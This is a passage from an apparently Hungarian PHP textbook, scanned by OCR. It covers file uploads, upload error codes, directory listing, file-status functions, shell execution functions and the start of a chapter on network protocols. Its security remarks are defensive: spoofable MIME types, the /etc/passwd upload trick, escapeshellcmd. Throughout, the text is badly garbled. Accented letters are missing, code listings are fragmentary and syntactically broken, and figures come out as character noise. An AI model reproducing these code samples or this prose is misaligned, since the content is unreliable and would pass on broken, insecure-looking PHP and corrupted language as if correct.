viszont az rlapban hasznljuk, a mez neve MAX_FILE_SIZE kell, hogy legyen. A felhasznJk legfeljebb az itt (bj-
295
tokban) megadott mret fjlokat tlthetik fel. Alkalmazsunk jellegtl fiiggen az rtket llthatjuk ennl kisebbre, de
nagyobbra is.
19
Meg kell adnunk azt is, hogy a beviteli adat tpusa file:
<input type="flle" name=" felhasznaloi fajl" id=" felhasznaloi_fajl"/>
Brmilyen nevet vlasztharunk a fjlnak, de ne felejtsk el, mivel ezt a nevet hasznlva fogjuk elrni a fjlt az azt fogad
PHP kdbL
Megjegyzs: Mieltt tovbblpnnk, rdemes megemlteni, hogy a PHP egyes verziiban biztonsgi sebezhetsgeket talltak
afjlfeltlts kdjban. Ha gy dntnk, hogy fjlfeltltst hasznlunk lesben mkd kiszolglnkon, gyeljnk, hogy a PHP
legfrissebb vltozatt futtassuk, s egyik szemnket tartsuk llandan a megjelen javtsokonl Nem szksges, hogy mindez
visszatartson bennnket e hasznos lehetsg hasznlattl, mindssze kell gondossggal kell eljrni kdunk megrsakor, s
korltozzuk a fjlfeltlts elrhetsgt pldul az oldal rendszergazdira s a tartalomkezelsrt felels szemlyekre!
kd megrsa
ahol rendkivl fontos, hogy a register_globals ki legyen kapcsolva, vagy legalbbis gy tegynk, mintha ki lenne iktarva,
s a szupergloblis tmbt hasznljuk, illerve hagyjuk figyelmen kvl a globlis vltozkat.
A $_FILES tartalma a HTML rlap <file> cmkjnek nevvel lesz eltrolva. Mivel rlapelemnk neve
felhasznaloi_fajl, a tmbbe
az
A$_FILES ['felhasznaloi_faj l' J [o tmp_nameo J-ben trolt rtk mutatja a helyet, ahol a fjlt
A $_FILES [0 felhasznaloi_faj l o J [0 type o ]-ban trolt rtk a fjl MIME-tpusa- pldul text/plain
vagy image/gif.
A $ _FILES [o felhasznaloi_fajl' J [0 error ]-ban trolt rtk a fjlfeltltssel kapcsolatos esetleges hiba
0
vgn az ideiglenes fjl trldik. Ha szeretnnk megtartani, t kell helyezni, vagy t kell nevezni.
A plda kedvrt friss hrekknt fogjuk felhasznlni a feltlttt fjlokat, ezrt eltvoltjuk bellk
az
esetlegesen ottma
radt cmkket, majd egy hasznlhatbb knyvtrba (feltoltesek/ ) helyezzk t ket. Ne feledkezznk meg arrl, hogy
a
<html>
<head>
<title>Feltlts ... </title>
</head>
<body>
<hl>A fjl feltltse ...</hl>
<?php
if
296
19. fejezet
';
19
case 1:
case 2:
case 3:
case 4:
case 6:
break;
break;
break;
break;
Nincs ideiglenes mappa meghatrozva';
break;
case 7:
break;
exit;
ll Megfelel MIME-tipus a fjl?
if ($_FILES['felhasznaloi_fajl') ['type')
echo 'Hiba:
!= 'textlplain')
exit;
echo 'Hiba:
$feltoltendo_fajl))
exit;
else
echo 'Hiba:
Fjlnv:
';
$tartalom);
297
?>
</body>
19
</html>
rdekes mdon a fenti kd nagy rsze hibaellenrzs. A fjlfelelts potencilis biztonsgi kockzatokkal jr, s ahol le
hetsges, mrskelni kell a kockzacokac. A lehet leggondosabban eljrva ellenrizni kell a felelttt fjlt, hogy megjelentse
biztonsgos legyen ltogatink szmra.
Menjnk vgig a kd fbb rszein! Elszr is ellenrizzk a$ _FILES ['felhasznaloi_faj l' l ['error' l ltal visz
szaadott hibakdot! Ezekhez a hibakdokhoz egy-egy lland lett rendelve. A lehetsges hibakdok, a hozzjuk tartoz kons
tans, illetve jelentsk a kvetkez:
UPLOAD_ERROR_OK,
UPLOAD_ERR_INI_SIZE,
upload_max_filesize
az rtke l, azt jelenti, hogy a felelttt fjl mrete meghaladja a php . ini fjlban az
az rtke 2, azt jelenti, hogy a feltlttt fjl mrete meghaladja a HTML rlap MAX_FILE_
UPLOAD_ERR_PARTIAL,
UPLOAD_ERR_NO_ FILE,
UPLOAD_ERR_NO_TMP_DIR,
az rtke 6, azt jelenti, hogy nem lett a php. ini fJlban ideiglenes knyvcr meghat
az rtke 7, azt jelenti, hogy a fjl lemezre rsa sikertelen (ez a hibakd a PHP 5.1.0-s
a text/plain cpust
tartalmazza! Mindez csak hibakeress, nem biztonsgi ellenrzs. A MIME-cpust a felhasznl bngszje llaptja meg a ki
szolglnak tadoct fjl kicerjesztsbL Ha a rosszindulat felhasznlknak brmi elnye szrmazna abbl, hogy nem a valdi
kiterjesztst adjk t, akkor knnyen megtehetnk azt.
Ezt kveten ellenrizhetjk, hogy a megnyitni kvnt fjl tnylegesen fel lett-e tltve, nem pedig olyan fjlrl van sz, mint
pldul az l e tc/passwd. Rvidesen visszatrnk mg erre a krdsre.
Ha idig minden rendben ment, akkor bemsolhatjuk a fjlt a beillesztend fjlokat tartalmaz knyvtrba. Pldnkban
a feltol tesek/
a
knyvtrat hasznljuk erre; a webes dokumentumknyveron kvl helyezkedik el, ezrt megfelel hely
()
cmkket, majd visszarhatjuk. Vgezetl jelentsk meg a tartalmr, hogy a felhasznl lssa, sikeresen felelttte a kvnt fjlt!
A 19.2 brn a kd egy (sikeres) futtatsnak eredmnyt lthatjuk.
2000 szeptemberben kzz tettek egy olyan biztonsgi rst (exploicoc), amely lehetv tette a crackereknek, hogy a fjlfel
tlt kdokat megbolondrva feltlttt fjlknt tneessk fel a PHP eltt a helyi fjlokac. Eze a biztonsgi rst a BUGTRAQ
levelezlistjn dokumentltk. A hivatalos biztonsgi tancsokat tartalmaz dokumentumot a BUGTRAQ archvumban
talljuk meg a hrcp://lists.insecure.org/bugcraq/2000/Sep/0237.hrml cmen.
ltof ..--. --
'I--
m--: 't:!
......
)40
fjl feltltse...
. .....
,. .......Illi
& ..... llllljlllkw.
19.2 bra: A
()
()
fggvnyt
hasznlja, ami szavacolja, hogy a feldolgozand fjlokat tnylegesen felclcttk, nem pedig olyan helyi fjlok, mint pldul az l
etc/passwd.
298
19. fejezer
Ha nem kell gondossggal rjuk meg a feltltst kezel kdot, egy rosszindulat ltogat sajt ideiglenes fjlnevr hasznlva
rveheri kdunkat, hogy feltltttknt kezelje a fjlt. Mivel a fjlfeltlt kdok nagy rsze a feltlttt adarokat megjelenti a fel
19
hasznlnak, vagy ksbbi berlts cljbl eltrolja azokat, ez akr azt is eredmnyezheti, hogy a ltogatk a webszerver ltal
olvasni kpes brmely fjlhoz hozzfrhetnek. Ez mg olyan titkos fjlokat is rinthet, mint az letclpasswd vagy az adatb
zisjelszavakar tartalmaz PHP forrskd.
"lhomelhttpdlhtmllindex.php";
$fajll
basename($eleresi_utvonal);
$fajl2
basename($eleresi_utvonal,
".php");
Windows-alap rendszer esern figyeljnk, hogy \ helyerr \\-t vagy l-t hasznljunk az elrsi tvonalaknl!
Szmos klnbz problmt verher fel, ha - pldnkhoz hasonlan - a felhasznl ltal megadott fjlnevet hasznljuk.
A legkzenfekvbb problma a meglv fjlok nem kivnt fellrsa abban az esetben, amikor a felhasznl mr ltez
nvvel tlti fel a fjlt. Nem ennyire egyrtelm, de legalbb ugyanekkora gondor okozhat, hogy a klnbz opercis
rendszerek, sr a klnbz nyelvi bellrsok is ms karakterkszletek hasznlatr engedik a fjlnevekben. Knnyen
elfordulhat, hogy a feltlttt fjl nevben a rendszernk ltal nem megengedett karakter fordul el.
Ha nem sikerl a fjlfeltltst mkdsbe hozni, ellenrizzk php.ini fjlunkat l Elfordulhat, hogy az up load_
tm p_di r direktvban meg kell adnunk egy olyan knyvtrat, amelyhez hozzfrssel rendelkeznk. Ha nagyobb fjlo
kar szeremnk feltlteni, elkpzelhet, hogy a memory _limi t bellrsr is mdosrani kell; ez hatrozza meg ugyanis
a feltlthet fjlok maximlis mrett (bjrban). Az Apache-nl bellrhat az idtllps (timeout) s a tranzakci m
rerkorlrja is - ha problmink addnak a nagy fjlok felrltsvel, rdemes ezeket is ellenrizni.
Knyvtrfggvnyek hasznlata
Miurn a felhasznlk feltltttk llomnyaikat, hasznos lehet szmukra, ha meg tudjk tekinteni, hogy mir is tltttek fel,
illetve mdosrani tudjk ezeker a tartalmakat. A PHP szmos, erre a clra alkalmas, a knyvtrakkal s a fjlrendszerrel kap
csolatos munkt leherv tev fggvnnyel rendelkezik.
Olvass knyvtrakbl
Elszr is rjuk meg a kdot, ami lehetv teszi a feltlttt tartalmak knyvrrai kzrri tallzsr! Az ilyen tallzs viszonylag
egyszeren megvalsthat PHP-ben. A 19.3 pldakd egy ilyen clra hasznlhat, egyszer kdot tartalmaz.
<html>
<head>
<title>Tallzs a knyvtrak kztt<ltitle>
listzsa
299
</head>
<body>
19
<hl>Tallzs</hl>
<?php
$aktualis konyvtar
$konyvtar
'feltoltesek/';
opendir($aktualis konyvtar);
while(false
ll a . s .. knyvtrak kiszrse
if($fajl
!= ". "
&&
$fajl
!=
"
.. ")
l
echo "<li>$fajl</li>";
echo
'</ul>';
closedir($konyvtar);
?>
</body>
</html>
opendir($aktualis_konyvtar);
Hasonlan ahhoz,ahogy
az
"
1==
O " nev fjlt olvas be! Eze elkerlend, kifejezetten ceszceljk, hogy a visszatrsi rrk ne hamis legyen:
($fajl = readdir($konyvtar)))
Tallzs
,. .....
AW ......
. _..
.,...-J:-
....,m
19.3 bra: A
300
19. fejezet
19
if($fajl
az
!= " . "
( az aktulis knyvtr)
s a . .
$fajl
!= " .
")
<html>
<head>
<title>Knyvtrak tallzsa</title>
</head>
<body>
<hl>Tallzs</hl>
<?php
$konyvtar = dir("feltoltesek/");
echo "<p>A mutat: $konyvtar->handle</p>";
echo "<p>A feltlts clknyvtra: $konyvtar->path</p>";
echo '<p>A knyvtr tartalma:</p><ul>';
while(false
!= " . "
&&
$fajl
1=
" .. )
"
echo "<li>$fajl</li>";
echo '</ul>';
$konyvtar->close();
?>
</body>
</html>
A fenti pldban nem rendeztk a fjlneveket, de ha rendezett listra lenne szksgnk, a PHP 5-s verzijban megjelent
scandir () fggvnyt hasznlhatjuk erre a clra. Ez tmbben trolja el a fjlneveket, s bc szerint emelked vagy cskken
<html>
<head>
<title>Knyvtrak tallzsa</title>
</head>
<body>
<hl>Tallzs</hl>
<?php
$konyvtar = 'feltoltesek/';
$fajls l
scandir($konyvtar);
$fajls2
scandir($konyvtar,
foreach($fajlokl as $fajl)
{
1=
"."
&&
$fajl
!= " .. ")
echo "<li>$fajl</li>";
echo
'</ul>';
foreach($fajlok2 as $fajl)
{
if($fajl
!= " .
"
&&
$fajl
!= " .. ")
echo "<li>$fajl</li>";
echo
'</ul>';
?>
</body>
</html>
a knyvtrat tartalmaz lemezen (Windows), illetve fjlrendszeren (Unix) elrhet szabad bjtok szmt adja vissza.
l);
if($fajl
30 l
0 777);
Mindazonltal egyltaln nem biztos, hogy vgeredmnyknt az ltalunk megadott jogosultsgokat fogjuk kapni. A tny
leges jogosultsgok az aktulis umask s az ltalunk megadott rtk AND mveleti jellel trtn sszekapcsolsbl addnak.
Ha pldul 022 az umask, 0755-s jogosultsgokat kapunk eredmnyl. (Az umask egy adott knyvtr vagy fjl hozzfrsi
jogosultsgait bellt Unix parancs. Ugyanezen a nven, megegyez funkcival megtallhat Linux alatt, illetve PHP-ben az
umas () beptett fggvny formjban.)
19
302
19. fejezet
Ezt elkerlend rdemes lehet a knyvtr ltrehozsa eltt nullzni az umaskot, pldul gy:
$elozo_umask = umask(O);
19
0777);
mkdir("/tmp/testing",
umask($elozo_umask);
vagy
rmdir("c:\\tmp\\testing");
A fjlrendszer elrse
A knyvtrak megtekintsn s a rjuk vonatkoz informcik sszegyjtsn tlmenen webszervernk fjljaival is dolgozha
tunk, illerve informcikat gyjthetnk azokrl. Korbban mr megnzrk, hogyan rhatunk a fjlokba, illetve hogyan olvasha
tunk bellk. A fjlokkal vgzend munkhoz ugyanakkor sok ms fjlkezel fggvny is rendelkezsnkre ll.
1== ($fajl
readdir($konyvtar)))
Ezt kveten a fajlreszletek.php kd megrsval tovbbi informcikat kaphatunk az egyes fjlokrL A kd tar
talmt a 19.6 pldakdban talljuk. Egy figyelmeztets e kddal kapcsolatban: az irt hasznltfggvnyek egy rsze, kztk
a posix_getpwuid (),a fileowner() s a filegroup ()Windows alatt nem vagy nem megbzhatan tmogatott!
19.6 pldakd: fajlreszletek.php- Fjlllapotfggvnyeks azok eredmnye
<html>
<head>
<title>A fjl rszletes adatai</title>
</head>
<body>
<?php
$aktualis konyvtar
'feltoltesek/';
// knyvtr-informcik eltvoltsa
a biztonsgrt
echo '<h2>Fjladatok</h2>';
echo 'Utols megnyits idpontja: '.date('j F Y H:i',
fileatime($fajl)).'<br>';
filemtime($fajl)).'<br>';
$felhasznalo = posix_getpwuid(fileowner($fajl));
echo 'A fjl tulajdonosa: '.$felhasznalo['name'].'<br>';
$csoport = posix_getgrgid(filegroup($fajl));
echo 'Fjlcsoport: '. $csoport['name' l .'<br>';
echo 'Fjljogosultsgok:
'.decoct(fileperms($fajl)).'<br>';
echo 'Fjltpus:
'.filetype($fajl).'<br>';
echo 'Fjlmret:
'.filesize($fajl).' bjt<br>';
19
echo 'is_dir:
echo 'is_executable:
echo 'is_file:
echo 'is_link:
'false').'<br>';
'.(is_executable($fajl)? 'true' :
'.(is_file($fajl)?
'true' :
'.(is_link($fajl)?
'false').'<br>';
'false').'<br>';
'true' :
'false').'<br>';
echo 'is_readable:
'false').'<br>';
'.(is_writable($fajl)? 'true' :
'false').'<br>';
?>
</body>
</html>
to
s.or-
!jlool
....... .......
_,.
-.;:;------,._,___ -::e
A
Fijlada1ok
o..D...,.-IlOIOil-13
t.-..o....._l4s..-...lOIOIUI
Allijl......,_......,..._
F---dolo
f-40"17
r.,._ ..
F,...,.,_$6bf:
Fijlhtlajdobsgok ellu6nhe
--
......
_-o:;.
,_"__
19.4 bra:
Fjlrendszerre vonatkoz informcik megjelentse valamely fjlrl. A jogosultsgokat itt oktlis formban lyuk.
Vizsgljuk meg egyenknt, mi a feladatuk a 19.6 pldakdban hasznlt fggvnyeknek! Ahogy mr emltettk,
a basename ( ) fggvny a knyvtr nlkli fjlnevet adja vissza. (A dirname ( ) fggvnnyel ezzel szemben a knyvtr fjlnv
nlkli nevt kapjuk meg.)
A fileatime () s a filemtime() f ggvny a fjlhoz val utols hozzfrs, illetve a fjl utols mdostsnak idblyegt
adja vissza. Annak rdekben, hogy emberi szemmel is olvashat idpontot jelentsnk meg, a date () fggvnnyel formztuk
a kt idblyeget. Egyes opercis rendszereken - az ltaluk trolt informciktl fggen -ugyanazt az rtket adja vissza ez
a kt fggvny.
A fileowner() s a filegroup ( ) fggvny a fjl felhasznli azonostjt { uid) s csoportazonostjt (gid) adja vissza. Ezeket
az azonostkat a posix _getpwuid (),illetve a posix_getgrgid () fggvnnyel lehet nevekk alaktani, gy egybl knnyebben
olvashatk lesznek. Ezek a fggvnyek paramterknt az uid-et vagy a gid-et fogadva a felhasznl- vagy a csoportinformcik asz
szaciativ tmbjt adjk vissza, amely a felhasznl vagy a csoport nevt tartalmazza az ltalunk a kdban hasznlt formban.
A fileperros() a fjljogosultsgokat adja vissza. A decoct() fggvnnyel oktlis szmm alaktottuk ket, hogy a Unix
felhasznJk szmra ismersebb formt ltsenek.
A filetype() fggvny a vizsglt fjl tpusrl ad informcit. A fggvny lehetsges visszatrsi rtkei: fifo,char, dir,
block, link, file s unknown (ismeretlen).
303
304
19
19. fejezet
Ugyanezen informcik nagy rszt a stat () fggvnnyel is sszegyjthetnnk. Ha radunk neki egy fjlt, a fentiekhez hason
l adatokat tartalmaz tmbt kapunk vissza. Az lstat () fggvny hasonl, de szimbolikus linkekhez (symlink) hasznlhat.
A fjlllapotfggvnyek futtatsa viszonylag idignyes. Eredmnyeik ezrt a gyorsttrba kerlnek. Ha szeretnnk a fjlin
formcikat valamilyen vltoztats elre s utn sszehasonltani, a
clearstatcache();
fggvny meghvsval elszr trlni kell a korbbi eredmnyeket. Ha az elz kdot valamilyen fjladat megvltoztatsa
eltt s utn szeretnnk hasznlni, az aktulis adatok beszerzse rdekben e fggvny meghvsval kell kezdeni a kdot.
Fjltulajdonsgok mdostsa
A fjltulajdonsgokat nem csak megrekinteni, hanem mdostani is lehet.
A chgrp(fajl, csoport), a chrnod(fajl, jogosultsagok) s a chown (fajl, felhasznalo) fggvny
a unixos megfeleljhez hasonlan viselkedik. Windowsos rendszereken ezen fggvnyek egyike sem fog mkdni, noha
a chown() ott is lefut, s mindig true rtkkel tr vissza.
A chgrp() fggvny a neki radott fjl csoportjt vltoztatja meg. Hasznlatval csak olyan csoportra lehet vltani, ame
lyiknek a felhasznl tagja (kivve root felhasznl esetn).
A chrnod () fggvny a f:ijl jogosultsgait mdostja. A fggvnynek tadoct jogosultsgok a szoksos, unixos chrnod form
ban kell, hogy legyenek. O (nulla) eltaggal kell elltni ket jelezvn, hogy oktlis szmrl van sz, mint az albbi pldban:
chmod('valamilyen_fajl.txt',
0777);
A chown () fggvnnyel a fjl tulajdonost vltoztathatjuk meg. Csak akkor hasznlhat, ha a kdot futtat felhasznl
root, aminek viszont csak akkor szabad bekvetkeznie, ha rendszergazdai feladat vgrehajtsa cljbl szndkosan, a parancs
sorbl futtatjuk a kdot.
[int J.dopont
[,
Ha a fjl mr ltezik, utols mdostsnak idpontja a pontos idre vagy a msodik - opcionlis -paramterben megha
trozott idpontra vltozik. Ha szetetnnk megadni ezt az idpontot, idblyeg formtumban kell megrennnk. Ha a fjl nem
ltezik, a rendszer ltrehozza. A f:ijlhoz val utols hozzfrs idpontja is megvltozik: alaprtelmezsben a rendszer pontos
idejre vagy az opcionlis adott_i dopo nt paramterben meghatrozott idblyegre.
Fjlokat az unlink() fggvnnyel trlhetnk. (Jegyezzk meg. hogy a fggvny neve vletlenl semdelete-ilyen nev
fggvny ugyanis nem ltezik!) A kvetkezkppen hasznljuk:
unlink($fajlnev);
Fjlokat a copy () s a rename () fggvnnyel tudunk msolni, illetve thelyezni az albbiak szerint:
copy($forras_eleresi_utvonal,
rename($regi fajl,
$cel eleresi_utvonal);
$uj_fajl);
[,
array &eredmeny
[,
int &visszateresi_ertek)))
305
Az exec () fggvnynek nincsen kzvetlen kimenete.A vgrehajtott parancs eredmnynek utols sort adja vissza. Ha
ereeimeny-knt radunk a fggvnynek egy vlrozt, a kimenet minden egyes sort tartalmaz tmbt kapunk vissza.
Ha visszateresi_ertek-knt is radunk egy vltozt, a visszatrsi kdot kapjuk meg.
passthru ()-A passthru () fggvny prototpusa a kvetkezkppen nz ki:
void passthru (string parancs
[,
int visszateresi_ertek))
A pass thru () fggvny a bngszn keresztl kzvetlenl kiratja kimenett. (Ez a funkci akkor igazn hasznos, ha
a kimenet binris- pldul valamilyen kpadat.) Nincs visszatrsi rtke.
Paramcerei ugyangy mkdnek, mint az exe c() fggvny.
system () -A system () fggvny az albbi prototpussal rendelkezik:
string system (string parancs
[,
int visszateresi_ertek))
A fggvny kiraga a parancs eredmnyt a bngszbe. Minden sor utn megprblja megjelenteni a kimenetet (felt
ve, hogy szervermodulknt futtatjuk a PHP-t), ebben eltr a passthru () fggvnytL Visszatrsi rtke a kimenet
utols sora (sikeres mkds esetn) vagy false (hiba esetn).
Paramcerei ugyangy mkdnek, mint a tbbi fggvny.
Fordtott idzjelek ( ')-Az l. fejezetben rviden emltettk a fordtott idzjeleket (backtick). Ezek tulajdonkppen
vgrehajt opertorok.
Nincsen kzvetlen kimenetk.A parancs vgrehajtsnak eredmnyt karakterlncknt kapjuk vissza, amit azutn meg
jelenthetnk, vagy brmi mst is kezdhetnk vele.
Bonyolultabb ignyek esetn a pope n (),a proc_open() s a proc_close () fggvnyt is segtsgl hvhatjuk. Ezek
kls folyamatokat s adatokat kezelnek.A proc_open () s a proc_ close () a PHP 4.3-as verzijhoz lett hozzadva.
A 19.7 pldakd azt szemllteti, hogyan lehet a ngy klnbz mdszert egyenrtken hasznlni.
19.7 pldakd: progex. php -
Fjlllapoifggvnyek s eredmnyk
<?php
chdir('feltoltesek/');
ll unix
exec('ls -la',
$eredmeny);
ll windows
ll exec('dir',
$eredmeny);
ll unix
passthru('ls -la')
ll windows
ll passthru('dir');
echo '</pre>';
echo '<br><hr><br>';
ll unix
19
306
19. fejezet
ll windows
19
ll $eredmeny = system('dir');
echo '</pre>';
echo
'<br><hr><br>';
'<pre>';
ll unix
$eredmeny = 'ls -al';
ll windowsO
ll $eredmeny = 'dir';
echo $eredmeny;
echo '</pre>';
?
>
Brmelyik megkzeltst alkalmazhatjuk a korbban ltott knyvtrtallz kd alternavjaknt. De meg kell emlte
nnk a kls fggvnyek hasznlatnak a fenti kd ltal is kesen bizonytott mellkhatst: kdunk nem lesz hordozhat
(platformfggetlen). A Unix parancsok hasznlata azt eredmnyezi, hogy Windowsan egyszern nem fog futni a kd.
Ha szetetnnk a futtatni kvnt parancsba felhasznlk ltal elkldtt adatokat beilleszteni,elszr mindig alkalmazzuk
rjuk az escapeshellcmd() fggvnyt! gy megelzhet, hogy a felhasznlk rosszindulatbl (vagy ms motivcibl) pa
rancsokat futtassanak rendszernkn. A kvetkezkppen hvhatjuk meg ezt a fggvnyt:
system(escapeshellcmd($parancs));
fggvny pldul annak az oldalnak az URL-jt adja meg, ahonnan a felhasznl az aktulis oldalra rkezett.
A putenv() fggvnnyel szksg esetn be is llrhatjuk a krnyezeti vltozkat, ahogy tesszk az albbi pldban:
$home
"/home/nobody";
hasznlk csak azokat a krnyezeti vltozkat mdosthatjk, amelyeknek eltagja fel van sorolva a direktvban.
Megjegyzs: Ha szeretnnk tbbet megtudni arrl, mit jelkpeznek az egyes krnyezeti vltozk, tekintsk t a http:/l
hoohoo.ncsa.uiuc.edu/ egi/env.html oldalon elrhet CGI-speci.fikcit!
Tovbbi olvasnival
A PHP fjlrendszerfggvnyeinek tbbsge
az
Hogyan tovbb
A 20. fejezetben elsajttjuk a PHP hlzati s protokollfggvnyeinek hasznlatr, hogy sajt webszervernkn kvl ms
rendszereket is elrjnk. Ezzel j tvlatok nylnak meg kdjaink eltt.
20
Hlzati s protokollfggvnyek
hasznlata
A fejezetben a PHP olyan hlzati fggvnyeit ismerjk meg, amelyek lehetv teszik kdunknak, hogy vele kapcsolatba
lpjnk a vilghl tbbi rszvel. Az interneten erforrsok s informcik szles kre rhet el, s hasznlatukhoz tbbfle
protokoll ll rendelkezsnkre.
A fejezetben az albbi fbb tmakrkkel foglalkozunk:
A hasznlhat protokollok ttekintse
E-mail kldse s olvassa
Ms weboldalak tartalmnak felhasznlsa
H lzati keresfggvnyek hasznlata
FTP hasznlata
kiszolgl a dokumentum elkldsvel vlaszol. Bizonyra ismers szmunkra a File Transfer Protocol (fjltviteli protokoll
- FTP) is, amivel llomnyokat tovbbthatunk a hlzat szmtgpei kztt. Sok egyb protokoll is hasznlhat.
A protokollok s egyb internetes szabvnyok tbbsgt a
(Az RFC krlbelli jelentse: megjegyzsek krse, felhvs vlemnyezsre.) A protokollokat az Internet Engineering Task
Force (IETF ) nev szvetsg hatrozza meg. Az RFC-k szles krben elrhetk az interneten. Kiindulsknt rdemes felke
resni a http://www.rfc-editor.org/ cmen elrhet RFC Editor oldalt.
Ha valamely protokoll hasznlata sorn problmkba tkznk, a protokollokat definil dokumentumok tekinthetk
olyan hiteles forrsoknak, amelyek sok esetben segtsgnkre lesznek a kdunkban lv hibk kijavtsban. Kszljnk azon
ban fel arra, hogy ezek a dokumentumok igen rszletesek, gyakran tbb szz oldalt is kitesznek!
Pldaknt emltsnk meg kt jl ismert RFC-t! Az RFC261 6 a HTTP /l. l protokollt, az RFC822 az internetes e-mail
zenetek formtumt rja le.
A fejezetben e protokollok hasznlata szempontjbl dolgozunk a PHP-vel. Egszen pontosan azt vizsgljuk meg, hogy
lehet e-mailt kldeni SMTP-vel, olvasni POP3-mal s IMAP4-gyel, hogyan kapcsoldhatunk ms webszerverekhez HTTP
vel, illetve hogyan valsthatunk meg fjltvitelt FTP-vel.
cm 4. fejezetben megvizsgltuk a fggvny mkdst, gy ezzel itt most nem foglalkozunk. A mai l () fggvny a Simple
Mail Transfer Protocollal (egyszer levltovbbrsi protokoll- SMTP) kldi az e-maileket.
20
308
20. fejezet
Ingyenesen elrhet osztlyok szles vlasztka ll rendelkezsnkre a ma il(} funkciinak kibvtsre. A Levelezlista
kezel alkalmazs fejlesztse cm 30. fejezetben egy kiegszt (add-on) osztly segtsgvel HTML csatolmnyokat is kldnk
majd e-mailjeinkkel. Az SMTP kizrlag e-mail kldsre szolgl. Az RFC2060-ban lert Internet Message Access Protocolt
(internetes zenetelrsi protokoll- IMAP4), illetve az RFC1939-es s az STD0053-as dokumentumban lert Post Office
Protocolt (postafik protokoll- POP3) hasznljuk az zenet levelezszerverrl val beolvassra. Ezek a protokollok kldsre
'
nem alkalmasak.
Az IMAP4 protokollt kiszolgln trolt e-mailek olvassra s kezelsre hasznlhatjuk. Az IMAP4 kifinomultabb funkci
kat knl a POP3-nl, amit jellemzen csak az e-mailek kliensre tltsre s a kiszolglrl val trlsre hasznlnak.
20
A PHP-hoz IMAP4 knyvtr tartozik, ami POP3- s Network News Transfer Protocol- (hlzati hrtviteli protokoll
NNTP), illetve IMAP4-kapcsolat ltrehozsra hasznlhat.
A knyvtr hasznlatt a
Webalap levelezszolgltats ltrehozsa cm 29. fejezetben kifejlesztett projekt sorn fogjuk meg
ismerni.
'AMZN';
$url = 'http://finance.yahoo.com/d/quotes.csv'
'?s=' . $reszveny_kod . '&e=.csv&f=slldltlclohgv';
' . $url};
$arfolyam,
trim($datum,
$ido = trim($ido,
'"'};
""};
$datum,
$ido}
explode(', ',
$tartalom};
ech o '<p>'
echo
'<p>Utols
utols
kts idpontja:
'
ktsi rfolyama:
$datum .
',
'
'
$ido
$arfolyam
309
'</p>';
'</p>';
ll forrs megjellse
echo '<p>Az adatok forrsa:
"'>'
$url
$url .
'</a> .</p>';
?>
</body>
20
</html>
l -T_,;;...;:_._
--.=--o,- '.!1:
--_...
F-....fM4!Wiese"eA
.
)4Z;S.bo-..,..".,.ldl!ls!*r
20.1 bra:
A kd maga viszonylag magtl rtetd; igazbl nem is hasznl szmunkra ismereden fggvnyeket, csupn ltalunk mg
nem ltott mdon alkalmazza azokat.
Emlkezhetnk r, hogy az Adatok
tettk: fjlkezel fggvnyekkel olvasharunk adott URL tartalmbL Pontosan ezt tettk ebben az esetben. A file_get_
contents()
fggvny meghvsa:
vltozban eltrolva adja vissza az adott URL alatt elrhet weboldal reljes szvegt.
A fjlkezel fggvnyekkel sok mindent megtehetnk PHP-ben. A mostani plda egyszeren egy weboldalt tlt be
HTTP-n keresztl, de pontosan ugyangy lphetnnk kapcsolatba ms kiszolglkkal HTTPS, FTP vagy ms protokollal
is. Ms feladatokhoz ugyanakkor ennl specilisabb megkzeltsre lehet szksg. Egyes FTP-funkcik a konkrt FTP fgg
vnyekben rhetk el, fopen( ) s ms fjlkezel fggvnyekben nem. A fejezet egy ksbbi rszben pldt ltunk az FTP
fggvnyek hasznlatra is. Egyes HTTP- vagy HTTPS-feladatokhoz a cURL knyvtr hasznlatra lehet szksg. Ezzel
a knyvtrral bejelentkezhetnk a weboldalakra, s nhny oldalon keresztl utnozhatjuk az egyes felhasznJk viselkedst.
Miutn a file_get _contents() fggvnnyel megszereztk az oldal szvegt, a list () segtsgvel tudjuk megkeresni
a
list($reszveny_kod,
$datum
$ido
trim($ido,
$arfolyam,
trim($datum,
ech o '<p>' .
$ido)
explode(' , ',
$tartalom);
'"');
ech o '<p>Utols
$datum,
'" ' );
utols
kts idpontja:
'
ktsi rtolyama:
$datum .
',
'
$ido
$arfolyam
'</p>' ;
'</p>';
Ennyi az egsz!
A fenti megkzelts sokfle clra hasznlhat, akr helyi idjrs-jelentst is begyazharunk az oldalunkba.
A mdszer azt is lehetv teszi, hogy klnbz forrsokbl szrmaz informcikat kombinlva ne egyszeren csak to
vbbadjuk a megszerzett adatokat. J plda erre Philip Greenspun hres kdja, amely Bill Gates vagyonrl ad folyamatosan
frissl tjkoztatst (Bill Gates Wealth Clock; http://philip.greenspun.com/WealthCiock).
Az oldal kt forrsbl gyjt adatot. Az egyik a U.S. Census Bureau, vagyis az USA Npszmllsi Hivatalnak weboldala,
ahonnan az orszg llekszmt veszi. A Microsoft-rszvnyek aktulis rfolyamt begyjtve, majd a kt adatot egytt felhasznlva
-s sajt markns vlemnyt napvilgra juttatva - j informcit llt el: becslst ad Bill Gates pillanatnyi vagyonnak rtkrl.
Egy apr megjegyzs: ha zleti clra hasznlunk ilyen kls informciforrst, rdemes egyeztetni a forrssal vagy jogi tan
csot krni. Egyes esetekben szellemi rulajdonjoggal kapcsolatos krdsek is szba jhetnek.
310
20.fezet
Ha ehhez hasonl kdot runk, adatok tadsra is szksgnk lehet. Ha pldul kls URL-hez csatlakozunk, olyan para
mtereket adharunk t, amelyeket alapesetben a felhasznl gpeine be. Ha ezt tesszk, rdemes az urlencode () fggvny
nyel dolgozni. Ez fogja a neki tadott karakterlncot, s az URL-eknek megfelel formtumra alakga; pldul a szkzket
plusz jell vltoztaga. A kvetkezkppen hvhatjuk meg:
$kodolt_parameter = urlencode($parameter);
Ennek az ltalnos megoldsnak egyetlen problm:ija, hogy az oldalnak, ahonnan az informcit beszerezzk, mdosulhar
az adatformtuma, s kdunk tbb nem fog mkdni.
20
URL:
Oldal ajnlsa
;:==.;.;---= ===]
20.2 bra: Oldal ajnlsakor ltalban annak cmt (URL) s a kapcsolattart elrhetsgt kell megadni,
Amikor valak a gombra kattintva elkldi az adatokat, elszr is azt szeretnnk ellenrizni, hogy a megadott URL, illetve az
e-mail cm hoszt rsze valdi gpen fut-e. rtunk egy kdot, ami pontosan ezeket ellenrzi, s arninek a kimenere a 20.3 brn
lthat.
Az
311
oldalajnls eredmnyf'j
AMAIP--Jfj.$6.111 119
A&e-w.luilllliiiW...._k.oftomlld.
...
..,Asnm.OOOOI..DoiAJI.. ('()MASPldXJGOOGLE:.\&AL COM
